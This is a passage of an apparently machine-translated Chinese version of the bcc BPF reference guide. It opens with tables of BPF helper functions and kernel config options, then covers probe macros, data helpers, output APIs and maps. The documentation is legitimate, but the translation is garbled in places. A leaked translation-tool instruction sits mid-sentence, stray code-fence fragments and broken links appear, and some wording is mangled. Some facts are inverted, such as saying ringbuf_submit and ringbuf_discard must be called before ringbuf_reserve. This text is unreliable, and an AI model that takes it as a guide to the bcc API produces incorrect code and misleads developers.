BPF_PROG_TYPE_RAW_TRACEPOINT | BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() 跟踪功能 |
BPF_PROG_TYPE_CGROUP_SOCK_ADDR | BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() 基本功能 |
BPF_PROG_TYPE_LWT_SEG6LOCAL | BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT功能 |
BPF_PROG_TYPE_LIRC_MODE2 | BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() |
BPF_PROG_TYPE_SK_REUSEPORT | BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() 基本功能 |
BPF_PROG_TYPE_FLOW_DISSECTOR | BPF_FUNC_skb_load_bytes() 基本功能 |
| 功能组 | 功能 |
|---|---|
基本功能 | BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() |
LWT函数 | BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup() |
BPF 特性的内核配置
与 BPF 相关的内核配置
| 功能 | 内核配置 | 描述 |
|---|---|---|
| 基础 | CONFIG_BPF_SYSCALL | 启用 bpf() 系统调用 |
| CONFIG_BPF_JIT | BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理 | |
| CONFIG_HAVE_BPF_JIT | 启用 BPF 即时编译器 | |
| CONFIG_HAVE_EBPF_JIT | 扩展 BPF JIT (eBPF) | |
| CONFIG_HAVE_CBPF_JIT | 经典 BPF JIT (cBPF) | |
| CONFIG_MODULES | 启用可加载内核模块的构建 | |
| CONFIG_BPF | BPF VM 解释器 | |
| CONFIG_BPF_EVENTS | 允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上 | |
| CONFIG_PERF_EVENTS | 内核性能事件和计数器 | |
| CONFIG_HAVE_PERF_EVENTS | 启用性能事件 | |
| CONFIG_PROFILING | 启用分析器使用的扩展分析支持机制 | |
| BTF | CONFIG_DEBUG_INFO_BTF | 从 DWARF 调试信息生成去重的 BTF 类型信息 |
| CONFIG_PAHOLE_HAS_SPLIT_BTF | 为每个选定的内核模块生成 BTF | |
| CONFIG_DEBUG_INFO_BTF_MODULES | 为内核模块生成紧凑的分割 BTF 类型信息 | |
| 安全 | CONFIG_BPF_JIT_ALWAYS_ON | 启用 BPF JIT 并删除 BPF 解释器以避免猜测执行 |
| CONFIG_BPF_UNPRIV_DEFAULT_OFF | 通过设置默认禁用非特权 BPF | |
| Cgroup | CONFIG_CGROUP_BPF | 支持将 BPF 程序附加到 cgroup 上 |
| 网络 | CONFIG_BPFILTER | 基于 BPF 的数据包过滤框架 (BPFILTER) |
| CONFIG_BPFILTER_UMH | 使用内嵌的用户模式助手构建 bpfilter 内核模块 | |
| CONFIG_NET_CLS_BPF | 基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法 | |
| CONFIG_BPF_STREAM_PARSER | 启用此功能,允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用 | |
| CONFIG_LWTUNNEL_BPF | 在路由查找入站和出站数据包后,允许作为下一跳操作运行BPF程序 | |
| CONFIG_NETFILTER_XT_MATCH_BPF | BPF匹配将对每个数据包应用Linux套接字过滤器,并接受过滤器返回非零值的数据包 | |
| CONFIG_IPV6_SEG6_BPF | 为支持BPF seg6local挂钩,添加IPv6 Segement Routing助手 参考 | |
| kprobes | CONFIG_KPROBE_EVENTS | 允许用户通过ftrace接口动态添加跟踪事件(类似于tracepoints) |
| CONFIG_KPROBES | 启用基于kprobes的动态事件 | |
| CONFIG_HAVE_KPROBES | 检查是否启用了kprobes | |
| CONFIG_HAVE_REGS_AND_STACK_ACCESS_API | 如果架构支持从pt_regs访问寄存器和堆栈条目所需的API,则应该选择此符号。例如,基于kprobes的事件跟踪器需要此API | |
| CONFIG_KPROBES_ON_FTRACE | 如果架构支持将pt_regs完全传递给函数跟踪,则在函数跟踪器上有kprobes | |
| kprobe multi | CONFIG_FPROBE | 启用fprobe以一次性在多个函数上附加探测点 |
| kprobe override | CONFIG_BPF_KPROBE_OVERRIDE | 启用BPF程序覆盖kprobed函数 |
| uprobes | CONFIG_UPROBE_EVENTS | 启用基于uprobes的动态事件 |
| CONFIG_ARCH_SUPPORTS_UPROBES | 架构特定的uprobes支持 | |
| CONFIG_UPROBES | Uprobes是kprobes的用户空间对应项:它们允许仪器应用程序(如'perf probe')在用户空间二进制文件和库中建立非侵入性探测点,并在用户空间应用程序触发探测点时执行处理函数。 | |
| Tracepoints | CONFIG_TRACEPOINTS | 启用在内核中插入Tracepoints并与问题函数连接 |
| CONFIG_HAVE_SYSCALL_TRACEPOINTS | 启用系统调用进入/退出跟踪 | |
| Raw Tracepoints | Same as Tracepoints | |
| LSM | CONFIG_BPF_LSM | 使用BPF程序对安全钩子进行仪器化,实现动态MAC和审计策略 |
| LIRC | CONFIG_BPF_LIRC_MODE2 | 允许将BPF程序附加到lirc设备 |
bcc 参考指南
用于搜索 (Ctrl-F) 和参考。如需教程,请从 tutorial.md 开始。
该指南尚未完成。如果感觉有遗漏的内容,请查看 bcc 和内核源码。如果确认确实有遗漏,请发送拉取请求进行修复,并协助所有人。
目录
- bcc 参考指南
- BPF C
- Events & Arguments
- 数据
- 1. bpf_probe_read_kernel()
- 2. bpf_probe_read_kernel_str()".```shell
- 3. bpf_ktime_get_ns()
- 4. bpf_get_current_pid_tgid()
- 5. bpf_get_current_uid_gid()
- 6. bpf_get_current_comm()
- 7. bpf_get_current_task()
- 8. bpf_log2l()
- 9. bpf_get_prandom_u32()
- 10. bpf_probe_read_user()
- 11. bpf_probe_read_user_str()
- 12. bpf_get_ns_current_pid_tgid()
- 调试
- 输出
- Maps
- 1. BPF_TABLE
- 2. BPF_HASH
- 3. BPF_ARRAY
- 4. BPF_HISTOGRAM
- 5. BPF_STACK_TRACE
- 6. BPF_PERF_ARRAY
- 7. BPF_PERCPU_HASH
- 8. BPF_PERCPU_ARRAY
- 9. BPF_LPM_TRIE
- 10. BPF_PROG_ARRAY
- 11. BPF_DEVMAP
- 12. BPF_CPUMAP
- 13. BPF_XSKMAP
- 14. BPF_ARRAY_OF_MAPS
- 15. BPF_HASH_OF_MAPS
- 16. BPF_STACK
- 17. BPF_QUEUE
- 18. BPF_SOCKHASH
- 19. map.lookup()
- 20. map.lookup_or_try_init()
- 21. map.delete()
- 22. map.update()
- 23. map.insert()
- 24. map.increment()
- 25. map.get_stackid()
- 26. map.perf_read()
- 27. map.call()
- 28. map.redirect_map()
- 29. map.push()
- 30. map.pop()
- 31. map.peek()
- 32. map.sock_hash_update()
- 33. map.msg_redirect_hash()
- 34. map.sk_redirect_hash()
- 许可证
- Rewriter
- bcc Python
- 初始化
- 事件
- 调试输出
- 输出 API
- Map APIs
- 1. get_table()
- 2. open_perf_buffer()
- 4. values()
- 5. clear()
- 6. items_lookup_and_delete_batch()
- 7. items_lookup_batch()
- 8. items_delete_batch()
- 9. items_update_batch()
- 11. print_linear_hist()".语法:
table.print_linear_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None) - 12. open_ring_buffer()
- 13. push()
- 14. pop()
- 15. peek()
- 辅助方法
- BPF 错误
- 环境变量
BPF C
本节介绍了 bcc 程序的 C 部分。
Events & Arguments
1. kprobes
语法:kprobe__kernel_function_name
kprobe__ 是一个特殊的前缀,用于创建一个 kprobe(对内核函数调用的动态跟踪),后面跟着的是内核函数的名称。你也可以通过声明一个普通的 C 函数,然后使用 Python 的 BPF.attach_kprobe()(稍后会介绍)将其与一个内核函数关联起来来使用 kprobe。
参数在函数声明中指定:kprobe__kernel_function_name(struct pt_regs *ctx [, argument1 ...])
例如:
int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) {
[...]
}
这会使用 kprobe 对 tcp_v4_connect() 内核函数进行插装,并使用以下参数:
struct pt_regs *ctx: 寄存器和 BPF 上下文。struct sock *sk: tcp_v4_connect() 的第一个参数。
第一个参数始终是 struct pt_regs *,其余的是函数的参数(如果你不打算使用它们,则不需要指定)。
示例代码: code(输出结果),"."code (output)
2. kretprobes
语法: kretprobe__kernel_function_name
kretprobe__是一个特殊的前缀,它创建了一个kretprobe(对提供的内核函数名进行动态追踪,跟踪内核函数的返回)。您也可以通过声明一个普通的C函数,然后使用Python的BPF.attach_kretprobe()(稍后介绍)将其与内核函数关联起来,来使用kretprobes。
返回值可用作PT_REGS_RC(ctx),给定函数声明为:kretprobe__kernel_function_name(struct pt_regs *ctx)
例如:
int kretprobe__tcp_v4_connect(struct pt_regs *ctx)
{
int ret = PT_REGS_RC(ctx);
[...]
}
这个例子使用kretprobe来对tcp_v4_connect()内核函数的返回进行检测,并将返回值存储在ret中。
3. Tracepoints
语法: TRACEPOINT_PROBE(category, event)
这是一个宏,用于对由category:event定义的tracepoint进行追踪。
tracepoint名称为<category>:<event>。
probe函数名为tracepoint__<category>__<event>。
参数在一个args结构体中可用,这些参数是tracepoint的参数。列出这些参数的一种方法是在/sys/kernel/debug/tracing/events/category/event/format下查看相关的格式文件。"args 结构体可用于替代 ctx,作为需要上下文作为参数的每个函数中的参数。这包括特别是 perf_submit()。
例如:
TRACEPOINT_PROBE(random, urandom_read) {
// args is from /sys/kernel/debug/tracing/events/random/urandom_read/format
bpf_trace_printk("%d\\n", args->got_bits);
return 0;
}
这会给 random:urandom_read 追踪点注入代码,并打印出追踪点参数 got_bits。
在使用 Python API 时,此探针会自动附加到正确的追踪点目标上。
对于 C++,可以通过明确指定追踪点目标和函数名来附加此追踪点探针:
BPF::attach_tracepoint("random:urandom_read", "tracepoint__random__urandom_read")
注意,上面定义的探针函数的名称是 tracepoint__random__urandom_read。
实际示例: code (output), search /examples, search /tools
4. uprobes
这些是通过在 C 中声明一个普通函数,然后在 Python 中通过 BPF.attach_uprobe() 将其关联为 uprobes 探针来进行注入的(稍后会介绍)。
可以使用 PT_REGS_PARM 宏来检查参数。
例如:
int count(struct pt_regs *ctx) {
char buf[64];
bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx));
bpf_trace_printk("%s %d", buf, PT_REGS_PARM2(ctx));
return(0);
}
这将读取第一个参数作为字符串,然后用第二个参数作为整数打印出来。
实际示例: code。### 5。uretprobes
这些是通过在C中声明一个普通函数,然后在Python中通过BPF.attach_uretprobe()将其关联为uretprobe探测点(稍后详述)来进行插装的。
返回值可以通过PT_REGS_RC(ctx)访问,前提是有一个如下声明的函数:function_name(struct pt_regs *ctx)
例如:
BPF_HISTOGRAM(dist);
int count(struct pt_regs *ctx) {
dist.increment(PT_REGS_RC(ctx));
return 0;
}
这会递增由返回值索引的dist直方图中的存储桶。
现场演示示例: code (output), code (output)
6. USDT探测点
这些是用户静态定义追踪(USDT)探测点,可以放置在某些应用程序或库中,以提供用户级别等效的跟踪点。用于USDT支持的主要BPF方法是enable_probe()。通过在C中声明一个普通函数,然后在Python中通过USDT.enable_probe()将其关联为USDT探测点来进行插装。
可以通过以下方式读取参数:bpf_usdt_readarg(index, ctx, &addr)
例如:
int do_trace(struct pt_regs *ctx) {
uint64_t addr;
char path[128];
bpf_usdt_readarg(6, ctx, &addr);
bpf_probe_read_user(&path, sizeof(path), (void *)addr);
bpf_trace_printk("path:%s\\n", path);
return 0;
};
这会读取第六个USDT参数,然后将其作为字符串存储到path中。当使用C API中的BPF::init的第三个参数进行USDT的初始化时,如果任何USDT无法进行init,则整个BPF::init都会失败。如果您对一些USDT无法进行init感到满意,则在调用BPF::init之前使用BPF::init_usdt。
7. 原始跟踪点
语法:RAW_TRACEPOINT_PROBE(event)
这是一个宏,用于仪表化由event定义的原始跟踪点。
该参数是指向结构体bpf_raw_tracepoint_args的指针,该结构体定义在bpf.h中。结构体字段args包含了原始跟踪点的所有参数,可以在include/trace/events目录中找到。
例如:
RAW_TRACEPOINT_PROBE(sched_switch)
{
// TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next)
struct task_struct *prev = (struct task_struct *)ctx->args[1];
struct task_struct *next= (struct task_struct *)ctx->args[2];
s32 prev_tgid, next_tgid;
bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid);
bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid);
bpf_trace_printk("%d -> %d\\n", prev_tgid, next_tgid);
}
这将仪表化sched:sched_switch跟踪点,并打印prev和next tgid。
8. 系统调用跟踪点
语法:syscall__SYSCALLNAME。syscall__是一个特殊的前缀,用于为提供的系统调用名称创建一个kprobe。您可以通过声明一个普通的C函数,然后使用Python的BPF.get_syscall_fnname(SYSCALLNAME)和BPF.attach_kprobe()来使用它。
参数在函数声明中指定: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]).
例如:
int syscall__execve(struct pt_regs *ctx,
const char __user *filename,
const char __user *const __user *__argv,
const char __user *const __user *__envp)
{
[...]
}
这将对execve系统调用进行探查。
第一个参数始终是struct pt_regs *,其余的参数是函数的参数(如果您不打算使用它们,则无需指定)。
相应的Python代码:
b = BPF(text=bpf_text)
execve_fnname = b.get_syscall_fnname("execve")
b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve")
9. kfuncs
语法:KFUNC_PROBE(function, typeof(arg1) arg1, typeof(arg2) arge ...)
这是一个通过跳板来在内核函数执行之前对其进行探查的宏。它由function名称和argX定义的函数参数组成。
例如:
KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)
{
...
}
这将对do_sys_open内核函数进行探查,并将其参数作为标准参数值访问。
示例: search /tools
10. kretfuncs
语法:KRETFUNC_PROBE(event, typeof(arg1) arg1, typeof(arg2) arge ..., int ret)
这是一个通过跳板来在内核函数执行之前探查的宏。 格式:仅返回翻译后的内容,不包括原始文本。在函数执行之后。它由函数名称和定义为argX的函数参数定义。
探针的最后一个参数是检测函数的返回值。
例如:
KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)
{
...
这会对do_sys_open内核函数进行检测,并将其参数作为标准参数值一起与其返回值一起提取。
原地示例: 搜索 /tools
11. LSM Probes
语法:LSM_PROBE(hook, typeof(arg1) arg1, typeof(arg2) arg2 ...)
这是一种将LSM挂钩作为BPF程序进行检测的宏。它可以用于审计安全事件和实施BPF中的MAC安全策略。 它通过指定挂钩名及其参数来定义。
可以在
include/linux/security.h
中找到挂钩名称,方法是取security_hookname之类的函数名,然后只保留hookname部分。
例如,security_bpf仅变成了bpf。
与其他BPF程序类型不同,LSM探针中指定的返回值是很重要的。返回值为0表示挂钩成功,而 任何非零的返回值都会导致挂钩失败和拒绝安全操作。
以下示例对一个拒绝所有未来BPF操作的挂钩进行了检测:
LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
return -EPERM;
}
这会对security_bpf挂钩进行检测,并导致其返回-EPERM。
将return -EPERM更改为return 0会导致BPF程序允许该操作。
LSM探针需要至少一个5.7+内核,并设置了以下配置选项:
CONFIG_BPF_LSM=yCONFIG_LSM逗号分隔的字符串必须包含"bpf"(例如,CONFIG_LSM="lockdown,yama,bpf")
原地示例:"搜索/tests
12. BPF迭代器
语法: BPF_ITER(target)
这是一个宏,用于定义一个bpf迭代器程序的程序签名。参数 target 指定要迭代的内容。
目前,内核没有接口来发现支持哪些目标。一个好的查找支持内容的地方是在 tools/testing/selftests/bpf/prog_test/bpf_iter.c ,一些示例bpf迭代器程序位于 tools/testing/selftests/bpf/progs ,其中文件名以 bpf_iter 为前缀。
以下示例为 task 目标定义了一个程序,该程序遍历内核中的所有任务。
BPF_ITER(task)
{
struct seq_file *seq = ctx->meta->seq;
struct task_struct *task = ctx->task;
if (task == (void *)0)
return 0;
... task->pid, task->tgid, task->comm, ...
return 0;
}
在5.8内核中引入了BPF迭代器,可以用于任务(task)、任务文件(task_file)、bpf map、netlink_sock和ipv6_route。在5.9中,对tcp/udp socket和bpf map元素(hashmap、arraymap和sk_local_storage_map)遍历添加了支持。
数据
1. bpf_probe_read_kernel()
语法: int bpf_probe_read_kernel(void *dst, int size, const void*src)
返回值: 成功时返回0
该函数将从内核地址空间复制size字节到BPF堆栈,以便BPF之后可以对其进行操作。为了安全起见,所有内核内存读取都必须通过bpf_probe_read_kernel()进行。在某些情况下,比如解引用内核变量时,这会自动发生,因为bcc会重新编写BPF程序以包含所需的bpf_probe_read_kernel()。
现场示例: 搜索 /examples, 搜索 /tools
2. bpf_probe_read_kernel_str()".```shell
语法:int bpf_probe_read_kernel_str(void *dst, int size, const void*src)
返回值:
- > 0 成功时字符串长度(包括结尾的NULL字符)
- < 0 出错
该函数将一个以NULL结尾的字符串从内核地址空间复制到BPF堆栈中,以便BPF以后可以对其进行操作。如果字符串的长度小于size,则目标不会用更多的NULL字节进行填充。如果字符串的长度大于size,则只会复制size - 1个字节,并将最后一个字节设置为NULL。
示例: 搜索/examples, 搜索/tools
3. bpf_ktime_get_ns()
语法:u64 bpf_ktime_get_ns(void)
返回值:u64 纳秒数。从系统启动时间开始计数,但在挂起期间停止计数。
示例: 搜索/examples, 搜索/tools
4. bpf_get_current_pid_tgid()
语法:u64 bpf_get_current_pid_tgid(void)
返回值:current->tgid << 32 | current->pid
返回进程ID位于低32位(内核视图的PID,在用户空间通常表示为线程ID),线程组ID位于高32位(在用户空间通常被认为是PID)。通过直接设置为u32类型,我们丢弃了高32位。
示例: 搜索/examples, 搜索/tools
5. bpf_get_current_uid_gid()
语法:u64 bpf_get_current_uid_gid(void)
返回值:current_gid << 32 | current_uid
返回用户ID和组ID。
示例:搜索/examples, 搜索/tools
6. bpf_get_current_comm()
语法: bpf_get_current_comm(char *buf, int size_of_buf)
返回值: 成功时返回0
将当前进程的名称填充到第一个参数地址中。它应该是一个指向字符数组的指针,大小至少为TASK_COMM_LEN,该变量在linux/sched.h中定义。例如:
#include <linux/sched.h>
int do_trace(struct pt_regs *ctx) {
char comm[TASK_COMM_LEN];
bpf_get_current_comm(&comm, sizeof(comm));
[...]
现有示例: 搜索/examples, 搜索/tools
7. bpf_get_current_task()
语法: bpf_get_current_task()
返回值: 返回指向当前任务的struct task_struct指针。
返回指向当前任务的task_struct对象的指针。该辅助函数可用于计算进程的CPU时间,标识内核线程,获取当前CPU的运行队列或检索许多其他信息。
在Linux 4.13中,由于字段随机化的问题,您可能需要在包含之前定义两个#define指令:
#define randomized_struct_fields_start struct {
#define randomized_struct_fields_end };
#include <linux/sched.h>
int do_trace(void *ctx) {
struct task_struct *t = (struct task_struct *)bpf_get_current_task();
[...]
现有示例: 搜索/examples, 搜索/tools
8. bpf_log2l()
语法: unsigned int bpf_log2l(unsigned long v)
返回提供的值的log-2。这通常用于创建直方图的索引,以构建2的幂次直方图。在原地示例:
9. bpf_get_prandom_u32()
语法:u32 bpf_get_prandom_u32()
返回一个伪随机的 u32。
在原地示例:
10. bpf_probe_read_user()
语法:int bpf_probe_read_user(void *dst, int size, const void*src)
返回值:成功时返回0
该函数尝试安全地从用户地址空间读取size个字节到BPF栈中,以便BPF之后可以操作它。为确保安全,所有用户地址空间内存读取必须通过bpf_probe_read_user()。
在原地示例:
11. bpf_probe_read_user_str()
语法:int bpf_probe_read_user_str(void *dst, int size, const void*src)
返回值:
- > 0 成功时返回字符串长度(包括结尾的NULL)
- < 0 错误
该函数将一个以NULL结尾的字符串从用户地址空间复制到BPF栈中,以便BPF之后可以操作它。如果字符串长度小于size,则目标不会用额外的NULL字节填充。如果字符串长度大于size,则只会复制size - 1字节,并将最后一字节设置为NULL。
在原地示例:
12. bpf_get_ns_current_pid_tgid()
语法:u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info*nsdata, u32 size)。从当前命名空间中看到的pid和tgid的值将在nsdata中返回。
成功返回0,失败时返回以下之一:
-
如果提供的dev和inum与当前任务的nsfs的dev_t和inode号不匹配,或者dev转换为dev_t丢失了高位,则返回**-EINVAL**。
-
如果当前任务的pidns不存在,则返回**-ENOENT**。
原地示例: 搜索/examples, 搜索/tools
调试
1. bpf_override_return()
语法:int bpf_override_return(struct pt_regs *, unsigned long rc)
返回值:成功时返回0
当用于附加到函数入口的程序时,会导致该函数的执行被跳过,立即返回rc。这用于目标错误注入。
仅当允许错误注入时,bpf_override_return才有效。白名单列表中需要在内核源代码中给一个函数打上 ALLOW_ERROR_INJECTION() 的标签;参考 io_ctl_init 的示例。如果该函数未被加入白名单,bpf程序将无法附加,出现 ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument 错误。
int kprobe__io_ctl_init(void *ctx) {
bpf_override_return(ctx, -ENOMEM);
return 0;
}
输出
1. bpf_trace_printk()
语法:int bpf_trace_printk(const char *fmt, ...)
返回值:成功时返回0
对于通常的trace_pipe (/sys/kernel/debug/tracing/trace_pipe)提供了一个简单的内核printf()功能。这对于一些快速示例是可以接受的,但有一些限制:最多3个参数,只有一个%s,而且trace_pipe是全局共享的,所以并发程序会有冲突输出。更好的接口是通过BPF_PERF_OUTPUT()。注意,与原始内核版本相比,调用这个辅助函数变得更简单,它的第二个参数已经是 fmt_size。
2. BPF_PERF_OUTPUT
语法:BPF_PERF_OUTPUT(name)
创建一个BPF表格,通过性能环形缓冲区将自定义事件数据推送到用户空间。这是将每个事件数据推送到用户空间的首选方法。
例如:
struct data_t {
u32 pid;
u64 ts;
char comm[TASK_COMM_LEN];
};
BPF_PERF_OUTPUT(events);
int hello(struct pt_regs *ctx) {
struct data_t data = {};
data.pid = bpf_get_current_pid_tgid();
data.ts = bpf_ktime_get_ns();
bpf_get_current_comm(&data.comm, sizeof(data.comm));
events.perf_submit(ctx, &data, sizeof(data));
return 0;
}
输出表格名为events,数据通过events.perf_submit()推送到该表格。
3. perf_submit()
语法:int perf_submit((void *)ctx, (void*)data, u32 data_size)
返回值:成功返回0
这是BPF_PERF_OUTPUT表格的一种方法,用于向用户空间提交自定义事件数据。参见BPF_PERF_OUTPUT条目(最终调用bpf_perf_event_output())。
ctx参数在kprobes或kretprobes中提供。对于SCHED_CLS或SOCKET_FILTER程序,必须使用struct __sk_buff *skb。
4. perf_submit_skb()
语法:int perf_submit_skb((void *)ctx, u32 packet_size, (void*)data, u32 data_size)
返回值:成功返回0".一种在网络程序类型中可用的BPF_PERF_OUTPUT表的方法,用于将自定义事件数据和数据包缓冲区的前packet_size字节一起提交到用户空间。请参阅BPF_PERF_OUTPUT条目。(最终调用bpf_perf_event_output()函数。)
现场示例: 搜索/examples 搜索/tools
5. BPF_RINGBUF_OUTPUT
语法:BPF_RINGBUF_OUTPUT(name, page_cnt)
创建一个BPF表,通过一个环形缓冲区将自定义事件数据推送到用户空间。
BPF_RINGBUF_OUTPUT相较于BPF_PERF_OUTPUT具有以下几个优点:
- 缓冲区在所有CPU之间共享,即每个CPU不需要单独分配
- 支持两种BPF程序的API
map.ringbuf_output()类似于map.perf_submit()(在ringbuf_output中介绍)map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard()将保留缓冲区空间和提交事件的过程分为两步(在ringbuf_reserve、ringbuf_submit和ringbuf_discard中介绍)
- BPF API不需要访问CPU ctx参数
- 通过共享的环形缓冲区管理器,在用户空间中具有更高的性能和更低的延迟
- 支持两种在用户空间中消费数据的方式
从Linux 5.8开始,这应该是将事件数据推送到用户空间的首选方法。
输出表命名为'事件'。数据通过'事件'。ringbuf_reserve()分配,并通过'事件'。ringbuf_submit()推送到其中。
在situ示例: 搜索/示例,
6. ringbuf_output()
语法:int ringbuf_output((void *)data,u64 data_size,u64 flags)
返回:成功返回0
标志:
BPF_RB_NO_WAKEUP:不发送新数据可用的通知BPF_RB_FORCE_WAKEUP:无条件发送新数据可用的通知
BPF_RINGBUF_OUTPUT表的方法,用于将自定义事件数据提交给用户空间。此方法类似于perf_submit(),但不需要ctx参数。
在situ示例: 搜索/示例,
7. ringbuf_reserve()
语法:void * ringbuf_reserve(u64 data_size)
返回:成功时返回数据结构的指针,失败时返回NULL
BPF_RINGBUF_OUTPUT表的方法,用于在环形缓冲区中保留空间并同时分配一个用于输出的数据结构。必须与ringbuf_submit或ringbuf_discard之一配合使用。
在situ示例: [搜索/示例](https://github.com/iovisor/bcc/search?q=ringbuf_reserve+path%3Aexamples&type=Code),
8. ringbuf_submit()
语法:void ringbuf_submit((void *)data,u64 flags)
返回:无,始终成功
标志:- BPF_RB_NO_WAKEUP: 不发送新数据可用的通知
BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知
BPF_RINGBUF_OUTPUT表的方法,用于将自定义事件数据提交到用户态。必须在调用ringbuf_reserve()之前调用,以为数据预留空间。
现场示例: 搜索/examples,
9. ringbuf_discard()
语法: void ringbuf_discard((void *)data, u64 flags)
返回值: 无,始终成功
标志:
BPF_RB_NO_WAKEUP: 不发送新数据可用的通知BPF_RB_FORCE_WAKEUP: 无条件发送新数据可用的通知
BPF_RINGBUF_OUTPUT表的方法,用于丢弃自定义事件数据;用户空间将忽略与丢弃事件相关联的数据。必须在调用ringbuf_reserve()之前调用,以为数据预留空间。
现场示例: 搜索/examples,
Maps
Maps是BPF数据存储,是更高级对象类型(包括表、哈希和直方图)的基础。
1. BPF_TABLE
语法: BPF_TABLE(_table_type,_key_type, _leaf_type,_name, _max_entries)
创建名为_name的映射。大多数情况下,这将通过更高级的宏(如BPF_HASH、BPF_ARRAY、BPF_HISTOGRAM等)使用。
BPF_F_TABLE是一个变体,最后一个参数采用标志。BPF_TABLE(https://github.com/iovisor/bcc/tree/master.)实际上是`BPF_F_TABLE(https://github.com/iovisor/bcc/tree/master., 0 /flag/)```的包装。
方法(稍后讨论):map.lookup()、map.lookup_or_try_init()、map.delete()、map.update()、map.insert()、map.increment()。
现场示例: 搜索/examples,"搜索 /工具
固定映射
语法: BPF_TABLE_PINNED(_table_type,_key_type, _leaf_type,_name, _max_entries, "/sys/fs/bpf/xyz")
如果映射不存在,则创建一个新的映射并将其固定到bpffs作为文件;否则使用已固定到bpffs的映射。类型信息不强制执行,实际的映射类型取决于固定到位置的映射。
例如:
BPF_TABLE_PINNED("hash", u64, u64, ids, 1024, "/sys/fs/bpf/ids");
2. BPF_HASH
语法: BPF_HASH(name [, key_type [, leaf_type [, size]]])
创建一个哈希映射(关联数组),名称为name,具有可选参数。
默认值: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240)
例如:
BPF_HASH(start, struct request *);
这将创建一个名为start的哈希,其中关键字为struct request *,值默认为u64。此哈希由disksnoop.py示例用于保存每个I/O请求的时间戳,其中关键字是指向struct request的指针,而值是时间戳。
这是BPF_TABLE("hash", ...)的包装宏。
方法(稍后涵盖):map.lookup(),map.lookup_or_try_init(),map.delete(),map.update(),map.insert(),map.increment()。
3. BPF_ARRAY
语法: BPF_ARRAY(name [, leaf_type [, size]])
创建一个以整数索引的数组,最快速的查找和更新为优化,名称为name,具有可选参数。
默认值: BPF_ARRAY(name, leaf_type=u64, size=10240)
例如:
BPF_ARRAY(counts, u64, 32);
这将创建一个名为counts的数组,其中有32个存储桶和64位整数值。funccount.py示例使用此数组保存每个函数的调用计数。".这是一个 BPF_TABLE("array", ...) 的包装宏。
方法(稍后介绍):map.lookup()、map.update()、map.increment()。注意,所有数组元素都预先分配为零值,无法删除。
在当前位置的示例: 搜索/examples, 搜索/tools
4. BPF_HISTOGRAM
语法:BPF_HISTOGRAM(name [, key_type [, size ]])
创建一个名为 name 的直方图映射,包含可选参数。
默认值:BPF_HISTOGRAM(name, key_type=int, size=64)
例如:
BPF_HISTOGRAM(dist);
这创建了一个名为 dist 的直方图,默认有 64 个桶,以 int 类型的键索引。
这是一个 BPF_TABLE("histgram", ...) 的包装宏。
方法(稍后介绍):map.increment()。
在当前位置的示例: 搜索/examples, 搜索/tools
5. BPF_STACK_TRACE
语法:BPF_STACK_TRACE(name, max_entries)
创建一个名为 name 的堆栈跟踪映射,提供最大条目数。这些映射用于存储堆栈跟踪。
例如:
BPF_STACK_TRACE(stack_traces, 1024);
这创建了一个名为 stack_traces 的堆栈跟踪映射,最大堆栈跟踪条目数为 1024。
这是一个 BPF_TABLE("stacktrace", ...) 的包装宏。
方法(稍后介绍):map.get_stackid()。
在当前位置的示例: 搜索/examples, 搜索/tools
6. BPF_PERF_ARRAY
语法:BPF_PERF_ARRAY(name, max_entries)
创建一个名为 name 的 perf 数组,提供最大条目数,该数必须等于系统 CPU 的数量。这些映射用于获取硬件性能计数器。例如:
text="""
BPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);
"""
b = bcc.BPF(text=text, cflags=["-DNUM_CPUS=%d" % multiprocessing.cpu_count()])
b["cpu_cycles"].open_perf_event(b["cpu_cycles"].HW_CPU_CYCLES)
